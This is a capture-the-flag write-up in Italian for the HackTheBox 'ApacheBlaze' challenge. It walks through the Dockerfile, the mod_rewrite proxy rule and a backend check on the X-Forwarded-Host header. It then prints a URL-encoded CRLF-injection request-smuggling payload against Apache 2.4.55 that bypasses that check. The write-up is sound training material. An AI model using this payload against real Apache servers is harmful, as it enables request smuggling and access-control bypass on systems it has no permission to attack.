ApacheBlaze

Autore: Lord Shiva Aggiornamento: 11.11.2023 Tempo di lettura: 05 min.
 

Aprendo il link della sfida ci troviamo di fronte 4 giochi con cui possiamo giocare.

L'ultimo mi rimane particolamente impresso dal momento che parla di Flag! :-)

Quando provo a cliccarci ci viene richiesto di puntare a un indirizzo...

Scarico i file sorgente e verifico su Docker:

#Dockerfile
FROM alpine:3

# Install system packages
RUN apk add --no-cache --update wget apr-dev apr-util-dev gcc libc-dev \
    pcre-dev make musl-dev

# Download and extract httpd
RUN wget https://archive.apache.org/dist/httpd/httpd-2.4.55.tar.gz && tar -xvf httpd-2.4.55.tar.gz

WORKDIR httpd-2.4.55

# Compile httpd with desired modules
RUN ./configure \
    --prefix=/usr/local/apache2 \
    --enable-mods-shared=all \
    --enable-deflate \
    --enable-proxy \
    --enable-proxy-balancer \
    --enable-proxy-http \
    && make \
    && make install

# Move compiled httpd binary
RUN mv httpd /usr/local/bin

WORKDIR /

# Copy Apache config files
COPY conf/httpd.conf /tmp/httpd.conf
RUN cat /tmp/httpd.conf >> /usr/local/apache2/conf/httpd.conf

# Can't bind to port 80
RUN sed -i '/^Listen 80$/s/^/#/' /usr/local/apache2/conf/httpd.conf

# Copy challenge files
COPY challenge/frontend/src/. /usr/local/apache2/htdocs/
RUN mkdir /app

# Copy application and configuration files
COPY conf/. /app
COPY challenge/backend/src/. /app

# Install Python dependencies
RUN apk add --update --no-cache \
    g++ \
    python3 \
    python3-dev \
    build-base \
    linux-headers \
    py3-pip \
    && pip install -I --no-cache-dir -r /app/requirements.txt

# Add a system user and group
RUN addgroup -S uwsgi-group && adduser -S -G uwsgi-group uwsgi-user

# Fix permissions
RUN chown -R uwsgi-user:uwsgi-group /usr/local/apache2/logs \
    && chmod 755 /usr/local/apache2/logs \
    && touch /usr/local/apache2/logs/error.log \
    && chown uwsgi-user:uwsgi-group /usr/local/apache2/logs/error.log \
    && chmod 644 /usr/local/apache2/logs/error.log

# Switch user to uwsgi-user
USER uwsgi-user

# Expose Apache's port
EXPOSE 1337

# Run httpd and uwsgi
CMD ["sh", "/app/uwsgi/start_uwsgi.sh"]

Nel file Docker possiamo vedere che utilizza una versione vulnerabile di Apache (Versione 2.4.55)

Il backend accetta un parametro GET del gioco, quindi controlla se è click_topia e l'intestazione X-Forwarded-Host è dev.apacheblaze.local. In qeusto caso, riusciremo a vedere la Flag.

All'inizio pensavo che dovevo semplicemente cambiare il valore di X-Forwarded-Host in dev.apacheblaze.local ma non ho ottenuto nessun risultato. Quindi mi stampo il valore per controllare.

elif game == 'click_topia':
        # if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
        if request.headers.get('X-Forwarded-Host'):
            return jsonify({
                # 'message': f'{app.config["FLAG"]}'
                'message': f"{request.headers.get('X-Forwarded-Host')}"
            }), 200

e questo è il risultato:

Possiamo vedere che restituisce una stringa di 3 host, quindi non corrisponderà a questa condizione
if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local'
Il sistema restituisce 3 host perché la richiesta passa attraverso il proxy e un bilanciatore di carico prima di raggiungere il server. 

LoadModule proxy_http_module moduli/mod_proxy_http.so LoadModule proxy_balancer_module moduli/mod_proxy_balancer.so
Qui possiamo vedere che carica il modulo proxy e di bilanciamento in modo che questo server Apache agisca come un server proxy per gestire la richiesta prima che raggiunga il server backend.

A questo punto è il turno del Rewrite Engine:

RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P]

Questa regola è progettata per riscrivere gli URL che corrispondono al modello ^/api/games/(.*) e reindirizzarli su http://127.0.0.1:8080/?game=$1.
$1 rappresenta il valore acquisito dal modello (.*?), che viene aggiunto come parametro di query del gioco nell'URL reindirizzato.
[P] viene utilizzato per indicare che la regola di riscrittura deve essere elaborata come una richiesta proxy. Indica ad Apache di inoltrare la richiesta riscritta all'URL di destinazione specificato nella regola.

Dopo aver cercato su Google la vulnerabilità di Apache CVE, vedo questo repository Github che mostra come sfruttare con l'iniezione CRLF.

Quindi ora proverò in localhost e stamperò tutte le intestazioni.

Il sistema ha stampato l'intestazione Foo. Adesso proverò a cambiarlo con richieste HTTP interne.

%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/PROVA
GET /api/games/click_topia%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/PROVA HTTP/1.1
Host: localhost:1337

Dopo la conversione nella regola della riscrittura dovrebbe venire così:

GET /?game=click_topia HTTP/1.1
Host: dev.apacheblaze.local

GET /PROVA HTTP/1.1
Host: backend

A questo punto possiamo vedere che inviamo due richieste contemporaneamente... Gioco fatto...

Flag: HTB{1t5.................ck5}